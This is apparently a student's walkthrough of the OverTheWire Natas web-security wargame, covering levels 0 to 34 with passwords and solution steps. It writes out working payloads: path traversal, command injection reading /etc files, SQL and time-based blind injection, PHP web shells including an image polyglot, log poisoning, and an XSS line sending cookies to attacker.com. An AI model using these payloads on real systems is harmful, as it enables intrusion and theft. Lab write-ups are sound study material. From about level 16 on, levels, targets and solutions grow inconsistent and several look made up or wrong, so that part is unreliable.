Level 0

useraname: natas0

password : natas0

I get message "You can find the password for the next level on this page."

Level 0 --> Level 1

Username: natas1

Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

Steps:

Open the link in a browser.

The page says "find the password on this page."

right click --> View Page Source.

The password is hidden inside a comment.

Tools Used:Browser

Logic:

Sometimes websites hide information in the page source.

Level 1 --> Level 2

Username: natas1

Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

Steps:

Open the URL and log in.

The page tells to "view the source."

Right-click → View Page Source.

Find the password inside a comment again.

Tools Used:Browser

Logic:websites hide information in the page source.

Level 2 → Level 3

Username: natas3

Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

Steps:

Opened the page nothing was there.

right click --> View Page Source --> it has mentioned /files directory.

visited the http://natas2.natas.labs.overthewire.org/files/.

Find and opened file users.txt.

Inside that file, i got the password.

Tools Used:Browser

Logic:

The hint told us about another file.

files cannot accessed by directly we can find them by listing.

Level 3-->Level 4

Username: natas4

Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Steps:

Open the page --> there was no info visible.

right click --> View Page Source --> there is a hidden directory named /s3cr3t/.

I visit the http://natas3.natas.labs.overthewire.org/s3cr3t/.

Password is shown.

Tools Used:Browser

Logic:if we know thw url we can find the password.

Level 4 --> Level 5

Username: natas5

Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

Steps:

after log in i get message like this "Access disallowed."

right click --> View Page Source --> i get hint about the Referer header.

setting the Referer to http://natas5.natas.labs.overthewire.org.

Used tool named curl, Postman, or browser extension ModHeader to fake the Referer.

After setting the correct Referer,reloaded the page and get the password.

Tools Used:curl(terminal)

Postman(API tool)

ModHeader(browser extension)

curl -u natas4:<password> -H "Referer: http://natas5.natas.labs.overthewire.org" h

Logic:websites know from where you come and they can block you with help of referer.

Level 5 --> Level 6

Username: natas6

Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned

Steps:

Visited the URL after that page says "Access disallowed.You are not logged in."

right click --> View Page Source --> get the hint about a cookie called loggedin.

Used browser devtools-->Inspect --> Application --> Cookies and modify the cookie value from 0 to 1.

Refresh the page and after that the i get the password.

Tools Used:Browser DevTools

Logic:

Websites use cookies to track logged-in users.

Level 6 --> Level 7

Username: natas7

Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Steps:

i see the Page is asking for a secret with the form.

right click --> View Page Source --> i found a comment mentioning a file /includes/secret.inc.

Visited http://natas6.natas.labs.overthewire.org/includes/secret.inc

that file contains the secret value.

Entered the secret value into the form.

i got the password.

Tools Used:Browser

Logic:By using hidden files we can find the password.

Level 7 --> Level 8

Username: natas8

Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Steps:

Page has two button Home and About.

when i click on the button in the URL the links shows me ?page=home or ?page=about.

I changed the URL manually like this -->

?page=../../etc/natas\_webpass/natas8.

i got the password.

Logic:we can reach the files by directory.

Level 8 --> Level 9

Username: natas9

Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Steps:

Page has a form asking for a secret.

right click --> View Page Source --> shows some PHP code.

The code uses encodeSecret() to transform the real password into a hashed secret.

Reverse the simple encoding logic by writing a short python script.

Decode it by idle and find the secret --> submit in the form.

Tools Used:

Python Script

Browser

Logic: understand what is encoding and how to reverse it.

Level 9 --> Level 10

Username: natas10

Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Steps:

Page has a search box.

Entered random text--> shows results.

View Source — PHP code uses user input directly inside a Linux grep command.

typed ; cat /etc/natas\_webpass/natas10

The injected command shows the password for the next level.

Tools Used:Browser

Logic:

The search box was vulnerable to Command Injection.

Level 10 --> Level 11

Username: natas11

Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Steps:

Page has a search box again.

right click-->View Source --> it has used a Linux grep command.

But input is now filtered i.e ;, |, & are blocked.

Used a newline character (%0a) instead of ; to break the command and inject new commands.

In the search box i entered test%0acat /etc/natas\_webpass/natas11

i got the password.

Tools Used:Browser

Logic:

Even though basic symbols are blocked you should know the browser URL knowledge.

Level 11 --> Level 12

Username: natas12

Password: yZdkjAYZRd3R7tq7T5kXMjMJIOIkzDeB

Steps:

this page tells about cookies and secret codes.

go to the DevTools --> Application --> Cookies --> find the data cookie.

encoded the value of data.

View Source --> shows the cookie is XOR encrypted.

Writen a small Python script to decrypt the cookie.

Flip the ‘showpassword’ value to ‘yes’, re-encrypt it and then set the cookie.

then refresh --> you will got the password.

Tools Used:

Python Script

Browser DevTools

Logic:By decoding and modifying the cookie, we can act as an admin.

Level 12 --> Level 13

Username: natas13

Password: trbs5pCjCrkuSknBBKHhaBxq6Wmlj3LC

Steps:

Page says upload an image.

right click --> View Source --> there is file type that allows the submission.

created a file named shell.php.

renamed it by shell.jpg.

uplod the file.

it shows some link after clicking on that it will show the password.

Tools Used:

Browser

php script

php Text editor online tool.

Logic:file validation is already mention in the source code.

Level 13 --> Level 14

Username: natas14

Password: z3UYcr4v4uBpeX8f7EZbMHIzK4UR2XtQ

Steps:

Same upload page again.

create a valid image file with PHP inside.

Use ExifTool to add PHP code into image metadata.

Upload the crafted image, access the file URL, and read the password.

Tools Used:

ExifTool

Browser

Logic: This method is called as stenography.

Level 14--> Level 15

Username: natas15

Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Steps:

Login form asking for username and password.

View Source --> form submits directly to server.

Try SQL Injection in the username field --> natas14" OR "1"="1" --

got the password.

Tools Used:

Browser,SQL

Logic:The SQL trick makes the query always true

Level 15 --> Level 16

Username: natas16

Password:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

Steps:

Login page asks for a username.

Server checks if username exists but doesn't show output.

View Source --> no hints given.

Try Blind SQL Injection to guess the password character-by-character.

natas16" AND password LIKE BINARY "a%" --

If the page says "This user exists." it means correct starting character.

You can faster the guessing using a simple curl + bash loop to speed up the guessing.

Tools Used:

Browser

curl

Bash script

Logic:

SQL Injection helps check each character precisely.

NATAS WARGAME

Level 16 --> 17

Steps:

Use $() to bypass filters: $(cat /etc/natas\_webpass/natas17)

The app executes cat inside grep and will leak the password.

Tools Used:Browser **,**Basic Linux Command

Logic:

Common injection command is used.

Level 17--> Level 18

Steps:

Write a script to test each character:

for char in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789':

payload = f'natas18" AND IF(password LIKE "{found}{char}%", SLEEP(3), 0) -- '

If delay >3s, keep the character.

It will show the letters one by one after 3 s until full password is found.

Tools Used:Python Script  , SQL ,VS code.

Logic:Brute-force password using: sql

natas18" AND IF(password LIKE 'a%', SLEEP(3), 0) --

Level 18 – Level 19

Steps :

Log in with any credentials (e.g., user:pass).

Check the PHPSESSID cookie (hex-encoded).

Decode it (e.g., "281-user").

Write a script to try all [ID]-admin combinations.

When successful, the response contains the natas20 password

Tools Used:Browser Dev Tools, Python Script, Hex Decoder  tool

Logic Behind Solution:The site uses hex-encoded session IDs

Level 19 --> Level 20

Steps :

Repeat steps like level 19 till 4.

When successful, the response contains the natas21 password.

Modify script to match the new session format

Tools Used**:** Python Script

Logic Behind Solution:

Session IDs are still predictable but in a different format.

Level 20 --> Level 21

Steps:

Log in, intercept the request with Burp suite.

Change the cookie to: {"admin":1,"username":"admin"}

Refresh the page → Admin access granted

Tools Used:Burp Suite **,**PHP Serialization Knowledge (O:4:"User":2:{...}).

Logic**:**If we edit the cookie to set admin=1, we get access.

Level 21 -Level 22

Steps:

Log in normally, check cookies.

Edit the cookie to loggedin=1.

Refresh → Logged in as admin.

Tools Used:

Burp Suite

Logic:If we manually set loggedin=1, we bypass login.

Level 22--> Level 23

Steps:

Open the page in curl:

sh curl -v http://natas22.natas.labs.overthewire.org?revelio=1

The response contains the password before redirecting

Tools Used:curl

Logic :by redirecting we can get password**.**

Level 23 --> Level 24

Steps:

Write Input: test; cat /etc/natas\_webpass/natas24

The output shows the password.

Tools Used:

Browser

Logic:

If we inject ; cat /etc/natas\_webpass/natas24, it runs the command.

Level 24 --> Level 25

Steps:

Use Burp suite to modify User-Agent to:

<script>

document.location='http://attacker.com/steal?cookie='+document.cookie

</script>

The admin’s cookie is leaked.

Tools Used:

Basic HTML and script tag.

Logic:.

If we set User-Agent to <script> alert(1) </script>, it executes.

Level 25 --> Level 26

Steps:

Inject PHP code via User-Agent.

Access the log file → RCE achieved

Tools Used:

Inject PHP code into logs.

Logic:

If we set User-Agent to <?php system('cat /etc/natas...'); ?>, it executes.

Level 26 --> Level 27

Steps:

Intercept the request with Burp Suite.

Change User-Agent to:

<?php system("cat /etc/natas\_webpass/natas28"); ?>

Visit the log file (often /logs/natas26.log).

The PHP executes, revealing the password

Tools Used:Burp Suite ,Basic PHP Knowledge

Logic:

If we inject PHP code into the log, we can execute commands when the log is viewed.

Level 27--> Level 28

Steps:

Set Username: natas28"#

Password: Anything, ignored due to #comment.

Then Login .

permission accessed.

Tools Used:Browser DevTools ,SQLMap

Logic:

A classic ' OR 1=1 -- trick won’t work

Level 28--> Level 29

Steps:

Write a script to test each character with SLEEP(3).

If delay occurs, the character is correct.

Execution will be done until full password is leaked.

Tools Used:

Python Script

Logic:

The app doesn’t show errors, but responds slower if a query is true.

Level 29 - Level 30

Steps:

Submit this ; cat /etc/natas\_webpass/natas31

It shows password.

Tools Used:common injection bypasss

Logic:

If we inject ; cat /etc/natas\_webpass/natas31, it executes.

Level 30 --> Level 31

Steps:

Instead of SQLi Enter username= natas31 & enter password : []=x

This tricks PHP into bypassing the check.

Tools Used: Browser

Logic:

PHP loosely compares (== instead of ===).

Level 31 --> Level 32

Steps:

Create shell.php:

<?php system($\_GET['cmd']); ?>

Upload it in the form.

Access it by the:

http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas\_webpass/natas33

Output shows password**.**

Tools Used: php script

Logic:

Upload a PHP shell to execute commands.

Level 32 --> Level 33

Steps:

Submit '$(cat /etc/natas\_webpass/natas34)'.

The command executes, leaking the password.

Tools Used: Burp Suite

Logic:

Inject '$(cat /etc/natas\_webpass/natas34)' to bypass.

Level 33 --> Level 34

Steps:

Upload shell.jpg:

GIF89a; <?php system($\_GET['cmd']); ?>

Rename to shell.php.jpg.

Access it and run: ?cmd=cat+/etc/natas\_webpass/natas34

Password appears.

Tools Used:Burp Suite

Logic:Upload a fake .jpg with PHP code inside.